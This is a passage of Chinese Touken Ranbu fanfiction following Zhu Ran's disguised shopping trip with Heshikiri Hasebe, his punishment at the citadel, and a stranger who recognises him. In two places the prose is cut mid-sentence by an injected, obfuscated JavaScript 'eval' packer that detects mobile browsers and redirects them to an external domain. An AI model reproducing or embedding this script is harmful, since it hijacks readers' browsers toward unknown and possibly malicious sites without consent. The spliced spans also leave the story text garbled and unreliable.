祝染像是一位真正的名门闺秀一般笑不露齿地捂嘴,粉色的眼睛波光粼粼,声音又娇又软:“染染杀人女魔头,叫我染染就好。” 什么鬼名字,这种时候难道不该起一个低调一点的、最好泯然众人查都查不到的吗。 碍于执法队就在眼前,压切长谷部只能在心里吐槽,连眼刀都不能飞给祝染。 但是他在乎的祝染不在乎,祝染甚至抽空微微侧过脸对他挑了一下眉。 又是挑衅。 而没等他发作或者进一步的反应,祝染就扭头继续回答执法队的问题了:“既然是来万屋,自然是来购物的,人家什么时候买尽兴了就什么时候回去,反正有长谷部帮忙提着,他可是说上刀山下火海什么都会为人家做的,是吧,长~谷~部。” 姿态优雅骄纵,气度浑然天成,连两个人的亲密关系也尽在不言中。 说着,他骄傲地抬了抬下巴,竟然真的回身伸手像拍小狗似的轻轻拍了拍压切长谷部的胸。 我是大富婆,这是我的小白脸.jpg。 压切长谷部:……!!! 他什么时候答应过为祝染上刀山下火海,祝染明明是刀山火海的一部分好吗。 执法队的药研和三日月显然愣住了,表情也变得生动起来:“……?” 怎么感觉误入了这对主仆奇怪的play。 压切长谷部还算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427315|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较常见的刀,执法队里有,万屋也经常会遇到很多,一直知道他们是主控,但居然还能当小白脸吗。 而长谷部额角青筋直跳,还偏偏演技在线,硬生生扯出一个无比真诚配合笑:“咳、主殿体恤下属,辛苦你们了……哈哈。” 他咬牙切齿地把“主殿”两个字咬得极重。 但是能跟鹤丸国永一见如故的祝染岂是凡刃,他完全没在怕的,反而顺势叹了口气,眨巴着眼睛看向三日月宗近: “唉,可惜我家三日月爷爷太养老了,跟他在一起就像孙女一样,还是这位三日月殿有亲和力,如果可以的话三日月殿和药研殿要不要也来一起逛逛街。” 这又是在干什么,怎么还把狼往家里引。 压切长谷部几乎要控制不住自己的脸色变成铁青了,连被搭讪的三日月宗近和药研藤四郎都忍不住偷看他一眼。 他喉咙一紧,干脆低下头,硬撑着:“……是,主殿说得极是。” 别问,问就是主命至上。 祝染突然来这一处让两位理论上讲不亲近人类的执法队也面面相觑,似乎觉得这一对“主从”关系真的……太奇怪了,变成他们中的一环更是诡异无比。 三日月宗近礼貌地笑了笑,显然也不打算接受祝染的邀请,只想早点离开这奇怪的漩涡。 “哈哈哈,姬君真是活泼可爱,只不过我和药研还有工作在身,只能遗憾婉拒了。” 执法队检查完毕,似乎也没发现什么问题,既然是通行的审神者,点点头放行了就好。 两刃已经行过礼转身正要离开,药研藤四郎却突然又转了回来,多看了祝染两眼。 就在压切长谷部再一次提心吊胆紧张起来的时候,他一直如同冰层般冷淡的五官却突然融化开来,露出一个浅淡的笑容:“姬君真是漂亮,祝购物愉快。” 说罢潇洒转身离去。 空气瞬间安静。 目睹压切长谷部戒备起来的祝染“噗嗤”地笑出声来,高兴地抬起胳膊拎着裙子做了个俏皮的告别宫廷礼:“拜拜——眼光很好的药研。” 已经开始敬语失踪了。 说着,他还故意偏过身,裙摆一晃,宛如舞台谢幕。 执法队走远,原地只剩下他们俩。 压切长谷部终于恢复了正常的表情,他脸色阴沉得能滴出水来。 祝染却像没看见似的,又清了清嗓子,眼睛弯弯地凑近他,完全偏离了药研藤四郎的语调,把声音拉得又长又暧昧: “——姬君,真漂~亮~” 尾音还特意抖了个弯儿。 “长谷部,我好羡慕你啊,能有这么漂亮的我陪你出门。” 到底是谁陪谁,到底是谁在做局,我到底动了谁的蛋糕谁的奶酪谁的大枣谁的小脑。 压切长谷部已经槽多无口。 之前,在部屋开夜间茶话会的祝染和鹤丸还聚在一起讨论过本丸里对谁恶作剧会比较有意思,最后得出来的榜单压切长谷部名列前茅。 他喜欢挑衅压切长谷部,实在是压切长谷部反应给太足了,说是情绪价值都不为过了。 可怜的被两只比格盯上了的压切长谷部已经拼尽全力忍耐,但还是控制不住地脖子青筋暴起,手指关节攥得“咔咔”作响,半晌才从牙缝里挤出一句:“……主殿,请自重。” 而祝染只是假装懵懂地眨了眨眼,轻轻哼了一声,笑眯眯的样子颇得刚刚三日月宗近的真传。 一直到目送执法队的两刃走远,他才得意地扭头看向又蹦哒起来长谷部:“看吧,我演得不错吧?” 一直在挑衅,做了很多多余的事情,甚至最后执法队离开到底是因为盘查过关还是害怕祝染进一步骚扰都很难说,完全是一场闹剧。 压切长谷部深吸一口气,最后还是忍无可忍趁着没人注意到他们有违刃设地翻了一个白眼:“烂透了,但是我现在什么话都不想跟你讲。” 得到冷淡回复也不气馁祝染则笑得更欢,毛茸茸的脑袋鬼鬼祟祟挨近了长谷部,压低声音:“哎呀,你刚才那表情好厉害,比我演的都好看。” 压切长谷部死死咬牙,胸口起伏,他觉得自己这次回去之后要向主殿申请一笔看牙经费,给自己连牙齿都武装起来,不然一直和祝染相处,牙总有一天会被咬碎的。 付丧神也需要关注牙齿健康问题。 12.七舅姥爷这里有主线剧情 夜幕降临,万屋街道的街道灯火通明,本就是仿照京都的日式传统建筑风格,此时灯笼又一盏盏地亮起,热闹得就像现世的小型庙会。 祝染踩着平底小皮鞋堪称健步如飞,甩着裙摆举止优雅地在一家又一家店铺和摊位之间穿梭,就像一只花蝴蝶般翩跹轻盈。 如果忽视他后面手中已经小袋子套大袋子,大袋子套脖子的压切长谷部的话。 ——这些全部都是祝染买的。 属于是博多藤四郎看了要泪目,桃濑灯里看了要沉默。 “长谷部,跟紧点。”偏偏罪魁祸首他还浑然不觉,故意回头压低嗓音淡淡吩咐道,仿佛是还没逛尽兴。 “马上来……您别得寸进尺。”为了维持刃设应对会在万屋中随机巡逻的执法队,明明已经要被勒得窒息,压切长谷部还是硬着头皮应了一声,偏偏姿态却完全符合“随侍主君”的礼数,仿佛真在护着自己的主人。 但他最后还是忍无可忍地提醒了一句。 祝染,刃总是要回本丸的,日子不打算过了吗。 万屋的灯火映照下,祝染已经完全沉浸在“假扮审神者”的角色里了,他从诞生起就一直被束之高阁,虽然看尽世间荣华富贵,但是身临其境地逛这样充满烟火气的商业街还是第一次,现在已经完全被万屋的繁华征服,眼花缭乱不知天地为何物。 而压切长谷部也大体知道对方的情况,最开始也还本着包容体贴的心态,任由对方去随意挑选需要的生活用品。 但等他意识到问题时已经追悔莫及了。 “哎呀,这个摆件好可爱啊——来一只吧!”几个小时之前,祝染可怜巴巴地趴在某家店铺的玻璃橱窗前,目不转睛地手指着一只造型俏皮、颜色鲜艳、但明显用不到的招财狐之助。 “主殿,那是装饰品,不是生活必需——”而且狐之助能有什么招财的功能呢,只是个到处骗油豆腐的大馋狐狸而已。 压切长谷部的话还没说完,机动惊人的祝染已经笑眯眯推门走进去,把它塞进了购物篮,眼睛水汪汪地看着他,一言也不发,就无声地催促着压切长谷部来结账。 像这样的情景在一天之中上演了无数次—— 最开始还是比较正常的洗漱用品、床单被套一类,哪怕这位祖宗从平安时期就养尊处优,眼光相当刁蛮,吃穿用度总能精准地选到价格最贵的那一档,压切长谷部也从善如流地掏出钱包帮他付款拿下。 但是紧接着的就是一把画着绣球花的纸扇、一盏用贝壳做成的据说能发出海浪声音的风铃、甚至还有一双粉色的绣花拖鞋。 眼看保卫本丸财产的使命已经彻底失败,主殿临行前恳城的嘱托和信任的眼神无时无刻不在鞭挞着压切长谷部的内心。 他眼角抽搐得快要痉挛,终于忍不住低声提醒,语气里全是压抑着的痛苦和扭曲。 “主殿,请您节制一点。”他忍着怒气,硬生生又叫了一声“主殿”。 这家伙明明知道自己只是“暂住”,还敢乱买这么多!?就他买的这些东西,就算现在拍时政论坛上最近很火的精致婶婶的日常,都能拍成小网红了。 真想被博多藤四郎切成臊子吗。 然而面对压切长谷部的逆耳忠言,祝染却一派神色大方,他煞有其事地扬了扬下巴,音量不大不小刚好够身边路过的其他付丧神和审神者听到,声音不疾不徐透露出几分歪门邪道: “长谷部,作为审神者,我必须兼顾精神文化建设与居家舒适。你不会反对主殿追求美好生活吧?” 言简意赅,但是完全拿捏了压切长谷部的死穴,众目睽睽之下,有“废审制造机”的他怎么可能会主动开口拒绝主殿。 路过的行人和付丧神纷纷投来注目礼,有小短刀乱藤四郎小声感叹:“那位审神者大人觉悟好厉害啊!” “是啊,有这样的主殿压切长谷部怎么可能反对,应该会很骄傲吧,毕竟那可是长谷部君啊……” 压切长谷部听到“骄傲”二字,嘴角狠狠一抽,表情像吞了三斤柠檬,额头的青筋眼看就要跳了出来,他完完全全被反噬了。 此时他的心情像被自己压切了一样劈成两半: ——反对?他当然反对! ——但他平日最引以为傲的“主命至上”的人设,此时就像铁链子锁在身上,让他只能憋着一口气,僵硬地应声:“……属下怎敢。” 然而祝染听到这句话就会更变本加厉,他就是这么邪恶的刃。 “长谷部,你快看!这双鞋跟我今天的裙子是不是很搭?”此时的祝染不管不顾拿起一双黑色的高跟鞋,漆皮质感冷艳,但是鞋跟细长且目测超过了7cm,他明知自己穿不了,还偏偏要笑吟吟看向压切长谷部征求意见:“嗯?你觉得呢?” “……”被明知故问被迫回忆起早上不美好记忆的压切长谷部脸色阴沉,眼神分明在说:怎么不摔死你。 可他嘴上却不得继续不硬撑:“主殿配什么都是最好的……属下无异议。” 祝染瞬间笑得眉眼弯弯,还故意提高音量:“哎呀,你真好~果然最懂我了。” 因为经常被祝染蹬鼻子上脸,所以压切长谷部的面部比较扁平。 而最后结账的时候,祝染明晃晃把一堆明显已经不是生活用品范畴的乱七八糟但价格不菲的东西推到柜台前,自己潇洒转身仿佛背影都带风:“长谷部,付钱。” 当然,高跟鞋他还是没买,毕竟没必要花钱给自己添堵。 万屋店员们喜极而泣地看向祝染:不知道是哪家的审神者,这个月的业绩都有了! 而压切长谷部只能铁青着脸掏钱——因为担心祝染把桃濑灯里的账户花到破产,然后真正的主殿大人每日以泪洗面,他甚至还动用了自己的资金,明明手都在颤抖,表情依旧□□保持着微笑,硬生生把“心如死灰”演成了“温柔付出”。 店铺门口清脆的风铃声在出门时响起,祝染轻轻转身,裙摆飘起一弧完美的弧线,声音中满满都是得意:“合作愉快啊,忠犬君。” 而趁着出门这一瞬间的嘈杂打掩护,压切长谷部握紧购物袋,皮笑肉不笑,声音低得几乎咬碎牙:“主殿,您早晚会遭报应的。” 而被诅咒的祝染却装模作样点头,伸出手满不在乎地挥挥:“嗯嗯,知道啦,长谷部卿。” 于是,仗着审神者的表面身份当挡箭牌的祝染彻底拿捏住压切长谷部,越发得意洋洋买得发狠了忘情了,最后压切长谷部的手腕上挂满大大小小的购物袋,他自己的手里也抱满一堆乱七八糟的东西,只是步伐始终轻快得像真在逛街的小贵妇。 但很难说到底是在维持人设,还是中饱私囊了。 长谷部手上提着越来越沉的袋子,背上还背着越来越沉重的主控刃设,脸色一黑到底。 好不容易把实体的店铺们逛得差不多了,暮色四合之后万屋的流动摊位们又热闹了起来,压切长谷部被迫陷入更深的漩涡。 而此时的祝染站在一个无人的摊位面前,正在兴致勃勃地挑选着丝带——这是一家主要卖丝带和绸缎饰品的小摊,也不知道摊主是不是从女高中的领结上得到的灵感,蝴蝶结款式尤其多,完全不放过任何一个路过的少女。 祝染把一支用粉纱做成的海棠花型发饰轻轻地别到发间,鬓发如云夜风的吹拂下随风荡开,人面鬓花相映红,而他眯起和花瓣同色的眼睛自顾自地笑,眼中的情感晦暗难以辨认:“不愧是我,配什么都好看。” 仿佛是为了印证他的话,确实有路过的路人投来目光,于是他洋洋得意地对着压切长谷部地挑起眉梢:“果然,人类就是会被外表打动呢。” 他身边一直在负重前行的压切长谷部终于忍无可忍,压着声音低斥:“祝染。” 出乎意料的,一路上无论祝染怎么得寸进尺都忍耐下来的压切长谷部在此时放下了他们千疮百孔的“大小姐主殿与忠犬近侍”的伪装。 声音不高,只够他一个人听见,但此时却像冷刃一样割破了祝染自恋的氛围。 祝染愣了一下,莫名其妙地回头看他:“怎么了?” 压切长谷部深吸一口气,眼神凌厉,仿佛要把他的伪装一层层剥开: “你是刀剑。刀剑的价值,不在于穿什么衣服、摆出什么样子吸引人。我们的存在,是为了守护历史,是为了在主人的手中发挥作用。真正的价值,是锋刃,是战力。” 祝染怔怔望着他。 从认识第一天起,这把叫祝染的剑就一直把自己的姿色挂在嘴边,到了一种偏执的程度。 祝染漂亮吗?平心而论,对方的容貌和本体都是极其美丽的。 不愧是出身门阀、极尽一个时代的华美幻想的,专门奉献给神的祭祀之物,他的存在本身就是一种神迹。 压切长谷部也不反对刀剑漂亮,毕竟在祝染来到之前,本丸有天下五剑之中最美的三日月宗近,也有天性爱美爱打扮的乱藤四郎和加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那眼神,几乎要将他看得发烫。 在他几乎要忍耐不住自己开口打破这段沉默之时,祝染忽然轻轻笑了,声音低沉地像是自言自语的呢喃:“……所以,只要我变得更强,也能有存在的理由吗。” 声音不再是戏谑,而是前所未有的认真。 听清楚他在说什么的压切长谷部心口微微一颤。 他喉结上下滚动,忽然觉得自己那句下意识的训斥,像是不小心击中了祝染隐藏的心事。 身为一把笔直的打刀,压切长谷部并不擅长温言细语,但是恰恰是这振锋利、正直的刀,才能从肺腑之中爆发出这样的觉悟。 祝染的眼神亮得近乎透明,他就这样继续盯着压切长谷部好一会儿,而压切长谷部也沉默地看着他,面上没有了今天被迫服从命令的焦躁郁闷或者表演出来的忠诚温顺,只是平和与宁静。 两个刃明明置身在喧杂的万屋,但却被晚风吹走了周围的声音,只留下思考的静默。 只是在压切长谷部的凝视中,祝染突然打破了表情笑得狡黠: “——不过呢,本殿依然是很漂亮的。” 他手指轻轻拂过垂落的卷发,仿佛是怕气氛太过严肃,特意放柔了嗓音,故意摆出一副骄纵姿态:“漂亮又强大,不是更完美吗?” 熟悉的姿态让压切长谷部额角青筋又是一跳。 这个混蛋,刚才那股子认真劲呢?! 他到底听没听进去! 坠着满身购物袋还在给新刃传递正能量的压切长谷部被他突入其来这一下插科打诨弄的风度全无,挣扎着就要把袋子甩给他自己拿着。 而他们的背后,人头攒动摩肩擦踵的人流中,一个低沉沙哑的嗓音像是鬼魅般响起: “祝染殿,好久不见,风采依旧啊,骗术也依旧精湛吗。” 尾音是一声短促的、带着不容忽视的恶意的笑。 居然直接喊的祝染,而不是他那乱七八糟的审神者代号。 而祝染听到这句话后,粉色的瞳孔肉眼可见地缩小到了一个冰冷无机质的状态,眼底最深处的暗红色被像针尖戳破一样流泄出来。 听到这句话的压切长谷部先是面对面目睹了祝染的反应,迅速扭头搜索声音来源,视线却徒然地淹没在万屋过分明亮的灯火和无数人影中。 13.七舅姥爷这里有野生的山姥切长义 夜色渐深,c7418号本丸的庭院被月光镀上一层静谧的清辉,正是付丧神们三三两两坐在屋檐下饭后闲谈的时候。 而本丸的木制走廊上却传来一前一后速度急促的脚步声。 ——首先出现的是压切长谷部,他的双手上都提满了堆叠的购物袋,胳膊上还狼狈地挂着好几个,购物袋的牵引绳把他的衣袖撸了上去,露出的手腕上被勒出的红痕交错着清晰可见,连他牧师装扮的出阵服上的金色长衣带都混乱地绞了进去。 即使现在是寒凉的秋夜,他的额角也冒出了汗珠,肉眼可见的疲惫,像是经历了一场生死战役。 压切长谷部只觉得他的双手已经被勒到快没知觉,总算把那一大堆购物袋子搬回来了,看到加州清光他们聚在走廊时整个刃非常明显的松了口气。 这对于追求可靠形象的压切长谷部可不多见。 而紧随其后的祝染倒是轻松自在,他踩着小皮鞋清脆的脚步声,怀里抱着一个超大的招财造型的狐之助,笑容得意得像小孩炫耀新玩具。 “辛苦啦,长谷部君~”祝染心情愉快,摇着裙摆跟在后面,粉色的眼睛亮晶晶的,满脸写着“战果丰硕”。 率先发现他们的大和守安定笑眼弯弯、语调温和地对他们打了招呼:“欢迎回来——。” 而随着祝染嘹亮的一声回复,“我回来了——!”本来各聊各的付丧神们顿时安静三秒观察状况,然后场面瞬间爆炸。 一天不见的刀剑们热热闹闹地陆续凑了过来。 乱藤四郎发挥他短刀的机动优势和对购物的兴趣加成,一骑绝尘第一个凑上前,海蓝色的眼睛光彩熠熠:“哇,这么多袋子!染酱你们是去万屋打劫了吗?!” “才不是。”祝染理不直气也壮地伸手从袋子里抽出一只雪白的绒毛抱枕,一把塞进乱藤四郎的怀里,笑眯眯地,“这都是本殿的家居必需品。” “……必需品?”药研藤四郎饶有兴致地一挑眉,看着被接手袋子的小短刀们二连三掏出来的绣花拖鞋、发饰、海螺风铃、纸扇,陷入沉默。 “欸欸欸!?那是什么啊!?”信浓和今剑围着祝染的战利品乱叫。 “猫咪蜡烛!还有风铃!哇,好漂亮的丝带!”他们七嘴八舌,这些看似不实用但视觉效果很可爱的东西显然也在像小孩子一样的他们的审美点上,只是平时去万屋的时候他们要么有一期一振限制着只能看看,要么最多买上一两样,哪里见过祝染这幅买空万屋的架势,哪怕是最腼腆的五虎退,此时眼睛里也冒着小星星。 而哪里热闹就会刷新在哪里的鹤丸国永来的时候正好看到那双粉色绣花拖鞋,直接笑到在地上打滚:“哈哈哈!长谷部,你提着这玩意走街上不会羞死吗!” 压切长谷部的脸瞬间铁青:“……都是这个家伙狐假虎威啊。” 他咬牙切齿说完,看向祝染的眼神几乎在喷火。 祝染却完全没察觉,他还穿着那身裙子没有换下来,此时就地换上拖鞋后甚至在众人面前转了一圈,裙边翩跹,满脸认真:“明明很漂亮?” 很捧场的鹤丸国永和小短刀们纷纷鼓掌支持。 本来只是照例跟莺丸一起坐在廊下喝茶,但恰巧占据了最佳观赏位置的三日月宗近看着这一堆鸡零狗碎的小东西,反倒火上浇油似得夸奖起来:“哈哈,真是华美啊,看来祝染殿之前的生活颇为尊贵啊。” 被莺丸拉着的大包平忍俊不禁沉声咳了一下,像是强忍吐槽。 而加州清光就心直口快了很多:“这根本就是乱买吧?! 而本来也热热闹闹聚在刃群中,却突然想起来什么的毛利藤四郎脸色突然晴转多云地严肃起来,他有点焦急的拉了拉祝染的裙摆,在示意祝染凑近后小声地说道:“祝染哥哥,快跑。” 在祝染疑惑的神情中,他继续解释道:“博多看到会晕掉的,他今天在和大将做报表,刚刚一期哥去找他们了。” 也跟着凑过来听清楚的粟田口小短刀们也具是神色一僵,最了解兄弟的他们已经能够想象到场面该有多么混乱了。 而该来的总是躲不掉,就在大家七嘴八舌给祝染建言献策让他今晚不要回部屋找个地方躲起来的时候,桃濑灯里终究出现了。 她身后站着还在微笑的一期一振,和已经像石化一样彻底大脑宕机眼神放空的博多藤四郎。 她先是环抱着手臂站在门口跟祝染招呼了一声欢迎回来,随即目光下意识地扫过一地的购物袋,表情肉眼可见地变得僵硬:“……这些,全都是你买的?” 而不知道是不是读不懂空气的祝染还在抱着抱枕对着她笑:“是呀~为了让主殿的居所更加舒适,当然要大出血一番。” 桃濑灯里似是欣慰般眯起眼睛,但抽搐的嘴角告诉了众刃完全不是这么一回事,她的微笑弧度标准得像用尺子量好一样精准,却让人背后一凉: “舒适是不错……不过,乱花钱的刀,要学会点别的东西才行。” 下一秒,本丸的后院就响起了“锵——”的一声清脆的刀剑出窍的声音。 桃濑灯里直接把她旁边一期一振的本体给抽了出来,明明是相对太刀来说娇小的个子,威压却非常恐怖。 形式瞬间转变,祝染穿着那条长裙被桃濑灯里提着刀追杀地仓皇逃窜,身后还跟着缓过神了同样神情愤怒健步如飞的极化博多藤四郎,他的裙摆在狂奔中一甩一甩,抱怨声不绝于耳:“主殿!这太过分了吧!这才刚回——” “——那你站住。”桃濑灯里冷冷打断。 “呜……好歹让我换身衣服再打嘛!”微弱的声音随着他的逃命消逝在风中。 而围观的刀剑男士们已经笑翻成一片,鹤丸国永更是直接跳上了房檐俯视全局,压切长谷部背靠木柱,手还在抖——不是笑的,是被购物袋子勒出的后遗症。 他垂下眼,低声哼了一句:“活该。” 苦苦挣扎但终究被裙摆限制了发挥的祝染最终还是被博多藤四郎捉拿归案,他被气喘吁吁的桃濑灯里没好气的瞪了一眼,顺势可怜巴巴地跪坐下来,低怂着脑袋双手搭在膝头,发丝凌乱散落着脸庞。 其实桃濑灯里只是象征性地追了几步就没再追了,毕竟她一介肉体凡胎,是不可能跑得刀剑付丧神的。 反正还有博多藤四郎在,短刀本来机动就很高,更何况这可是极化之后的博多,审神者论坛有口皆碑的最强资本家。 趁祝染奔逃期间,她索性在走廊坐下去安抚了一下今天一天肉眼可见被比格遛惨了的压切长谷部,还顺便了解一下他们在万屋的情况。 祝染搞的事情一桩桩一件件被和盘托出、压切长谷部看似是在告状,但其实真的只是在尽责述职:“综上所述,属下觉得他虽然本性不坏,身上确实疑点重重。” 桃濑灯里的眉头无可抑制地颦蹙起来,从压切长谷部的叙述中,她觉得有今天有三件事情不太可控: 来自执法队的三日月宗近和药研藤四郎,他们对祝染相当晦涩模糊的态度,尤其是药研藤四郎最后意味不明的微笑。 混迹在人群中、对祝染和压切长谷部打招呼的神秘人,他能够精准地透过祝染的乔装直接点破他的身份,还有“许久不见”的说法显然是和祝染的过去有牵扯,“骗术精湛”又究竟是在暗指什么。 还有……他们两个在回来之前,在新羽的摊位上遇到的不知道是时政监察官还是其他本丸付丧神的山姥切长义。 ——在他们回来之前,其实桃濑灯里就收到来自她同为审神者的朋友,代号新羽的白羽悠真的私信联络。 白羽悠真告诉了她在其经营的万物小摊位上,偶遇了她家的压切长谷部和自称是她表弟的一名女装男子的事情。 几个小时之前,在听到那个难寻踪迹的人意味不明的话语之后。 压切长谷部警惕地按着自己的本体,目光巡视了一圈附近的人流,发现要找到说话的人无异于大海捞针,于是他索性把关注点移回了祝染身上。 而在听到那句话之后,明明眼睛里映照着万屋热闹的灯火,祝染的状态却变得非常冷漠,整个刃仿佛被一层雾气般笼罩着般,他保持着机械性的微笑注视着压切长谷部:“忠犬君,没有什么要问我的么?” 刚刚的小插曲就像是一根毒针一样刺破了他一贯以来的伪装,他心中的负面情绪无法避免地从这个针孔中倾泻。 明明现在已经接近了幸福,有些事情只要被一直瞒下去就好。 而如他所料般,压切长谷部不适地皱了皱眉,似乎是处刑的前兆:“别这么叫我。” 这幅神情祝染今天已经目睹了无数次,但这一次的严重性似乎截然不同。 但下一秒,压切长谷部的反应却出乎祝染的意料: “你还好吧?看着状态不太好,刚刚的人说的话别太放心上。” “嗯……嗯?”祝染先是下意识地点头,突然意识到压切长谷部在说什么后,眼睛无措地瞪大,所有情绪的色彩都消失殆尽,唯余一片大脑宕机的空白。 “你就问就这个吗?你不觉得我有阴谋,不想知道刚刚那个人是谁,和我是什么关系、他说的话又是什么意思吗?”一直伶牙俐齿把刃气个半死的祝染难得的情绪失控到有些语无伦次。 “不想。”压切长谷部没好气地翻了个白眼,然后继续回复:“我这么说你信吗。” “我确实很想知道对方是谁,但是为什么我要觉得你有阴谋,就因为一个藏头露尾不敢以真面目示人的人的一句话?” “既然主殿决定留下你,那你就是我们的同伴,我有眼睛,会自己分辨同伴和陌生人要相信哪个。” “你的过去是你的事情,你想说的话,就回本丸之后对着主殿说,而我要做的事情就是看好你在万屋不要乱跑,懂了吗,麻烦制造君。” 听着听着,祝染的眼睛越来越清澈,他又一次露出可怜兮兮的荷包蛋眼看着压切长谷部,不顾形象地扑上去,把头拱在压切长谷部身上一顿乱蹭。 而本来就负重前行还被他突袭的压切长谷部像触电一样反应剧烈:“撒手!” “呜呜呜……压切大人…….人家简直要被你迷倒了……”祝染在包含着真心实意的假哭中,轻描淡写下又是随手一个压切长谷部的雷点。 “别这么叫我!”压切长谷部像被人踩到了尾巴一样。 “桃音家的长谷部……?还有这位姬君?”突然一个低沉和缓的中性声音从摊位的方向响起,打断了这段纠缠。 熟悉的声音让压切长谷部迅速从情绪中抽离,他像是撕贴纸一样把祝染从自己身上撕了下来,在大大小小的袋子的牵制下艰难地打理了一下自己的仪容仪表,对着来人露出体面的微笑: “新羽大人,许久未见,让您见笑了。” 作为可靠的近侍刀,压切长谷部经常陪着桃濑灯里外出应酬,凭借付丧神敏锐的感官,时间久了自然也能分辨出自家主殿朋友的声音。 更何况这位新羽大人……实在是个特别的人物。 被推开的祝染也也记得自己支离破碎的审神者人设,他伸手简单梳理了一下自己的发型也循声看去—— 在一振山姥切国广和一振山姥切长义的中间,站着一位身材高挑、身姿挺拔的青年。 映入眼帘的是一张轮廓分明、线条利落的脸庞,凤眼狭长,剑眉星目,目光沉静却如未出鞘的名刀般让人感到 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而压切长谷部和白羽悠真背后的山姥切国广却表情相当平淡,仿佛是习以为常。 祝染头头瞟了几眼,甚至怀疑压切长谷部有些幸灾乐祸,在报复他今天狐假虎威支使他的行为。 好在还有一振山姥切长义,对方虽然表情依旧端庄,但是祝染看到他蓝色的瞳孔在听到白羽悠真刚刚的话的时候,很明显震了几下,显然是也被这个消息给冲击到了。 只是死撑面子的骄傲本歌罢了。 “这位是主殿的朋友,目前是d级审神者的新羽大人。”压切长谷部适时地开口为两人做介绍。“这位……是主殿的表弟,自小就有女装的爱好,确实还不是审神者,他放暑假了受邀来时政,我奉主殿的命令带他来万屋逛逛。” 三言两语之间他就这么给祝染立了一个女装大佬的形象,半真半假的话语之间也隐隐传递给对面一些信息。 现在确实不是审神者,但是以后不一定呢。 时政扩招这个事情简直是现在最好的幌子。 “原来如此。”白羽悠真也很轻松地接受了这个解释,还语气很真诚地看着勉强笑着的祝染夸赞道:“表弟真是人比花娇,含苞待放。” 话音一出,山姥切国广噗嗤一声躲在了被单下,压切长谷部也明显忍俊不禁。 “这位殿下好敏锐啊,居然能认出表姐家的长谷部。”看到压切长谷部看他的笑话,祝染索性不装了,放下半遮半掩的袖子对着白羽悠真状似天真好奇地询问。 “是啊,我天生就感官比较灵敏,能分清不同人之间微妙的差别,可能再加上我对装男士比较有研究吧,你的挺多细节都还挺男性化的。”白羽悠真也不藏着,很直白地说出真相。 对男装有研究…..居然是女生吗。 祝染目瞪口呆地看着比他还要高半个头、看起来就俊美飒爽的白羽悠真,眼神愈发清澈了。 压切长谷部站在一旁并不言语,只是微笑,但笑容中满是大仇得报的意气风发。 这是他饱经风霜的今天难得的解气时刻了,能看到这只比格被震撼一次又一次。 毕竟他当年刚来到时政,第一次遇到白羽悠真的时候,也被对方这堪称恐怖的观察力和直觉震撼到说不出话。 据桃濑灯里所说,对方现世中还是个小有名气的Coser,经常受到邀请作为一些乙女游戏公司的工作人员在漫展上扮演男性角色。 只是没想到看起来英姿飒爽的新羽大人,居然会是这家看起来少女心爆棚的摊位的所有者。 而白羽悠真仿佛读懂他的心思般无奈地耸了耸肩:“总要赚钱养家,毕竟不是每个人都像桃音那样欧气满满。” 她啊,其实是个把小判都赌进巧克力大作战的非洲审神者呢。 而祝染虽然频频受挫,但终究是天性乐观,加上白羽悠真是个十分有魅力、能力也很特别的存在,很快他就跟对方相谈甚欢。 俩个人就这么从男装女装的技巧差异,聊到摊位上在售的饰品,祝染更是性情中人一样打着“表姐的朋友就是我的朋友,朋友的生意必须支持”的旗号,大张旗鼓地消费,买到最后白羽悠真都跟他牵起手要跟他拜把子了。 那还说啥,万屋送你了。 “新羽大人,我们差不多该回去了。”还是压切长谷部看不下去,找时间打断了两人的情比金坚。 听到这话的白羽悠真也很配合地适可而止,一直在旁边沉默的山姥切国广更是动作敏捷地把刚刚祝染买下的东西打包好递过去,只是山姥切长义不知道去了哪里。 压切长谷部已经习以为常了,他认命地接过纸袋,最后还很体面的想了两句寒暄。 “新羽大人发展很快啊,已经有山姥切长义了,这次评级肯定会晋升的。” 而白羽悠真听完这句话却突然愣住了,一头雾水:“我巧克力坠机了,没有长义啊。” 然后她似是恍然大悟地解释道:“你说刚刚那位吗,那位是我的顾客,买了很多来跟我取货的大客户呢。” 这下轮到了压切长谷部神情僵硬了。 怪不得刚刚那把山姥切长义也那么震惊的样子。 他以为那振也是白羽悠真的刀,白羽悠真在这方面又实在是敏锐、根本没办法瞒过去,所以才索性承认了祝染男性的身份,虽然没有透露出更多信息,但是不是审神者的人、男扮女装在万屋,多少也算个敏感问题了。 更何况山姥切长义这把刀的存在又特殊,谁也不知道刚刚那把,是谁家本丸出来购物的,还是执法队的,抑或者……是时之政府的监察官。 14.七舅姥爷这里有剑不会用自己的本体 秋日的风带着些清爽的凉意,本丸庭院中央的手合场上,砂砾被日光照得微微发白,吃完早饭的付丧神们成群结队地聚集在一起。 手合场平时很少这么热闹,这次前所未有的大演练,是因为带着桃濑灯里和文系付丧神们连续战斗了三天,终于在昨天下午将堆积的工作处理了个七七八八,本丸普天同庆,他索性潇洒地地大手一挥,给本丸所有人的日课放了假。 除了一个刃——昨天在万屋一掷千金、坏事做尽的祝染。 肇事刃于昨日被博多藤四郎当场擒拿归案,而经过深思熟虑,面对着祝染可怜巴巴但是为时已晚的眼神,桃濑灯里决定罚他手合。 不过,不是和提着一期一振本体、怒火中烧的桃濑灯里当场来一场酣畅淋漓的真人pk,是兄弟就来砍我,而是隔日正规地到手合场上和本丸的刀剑们切磋一下。 这一决定充分地发挥了c7418本丸民主平等的精神,给了祝染一个换回便装的权利和知道了要发生什么也逃不掉的惴惴不安的夜晚。 祝染,祈祷吧,忏悔吧。 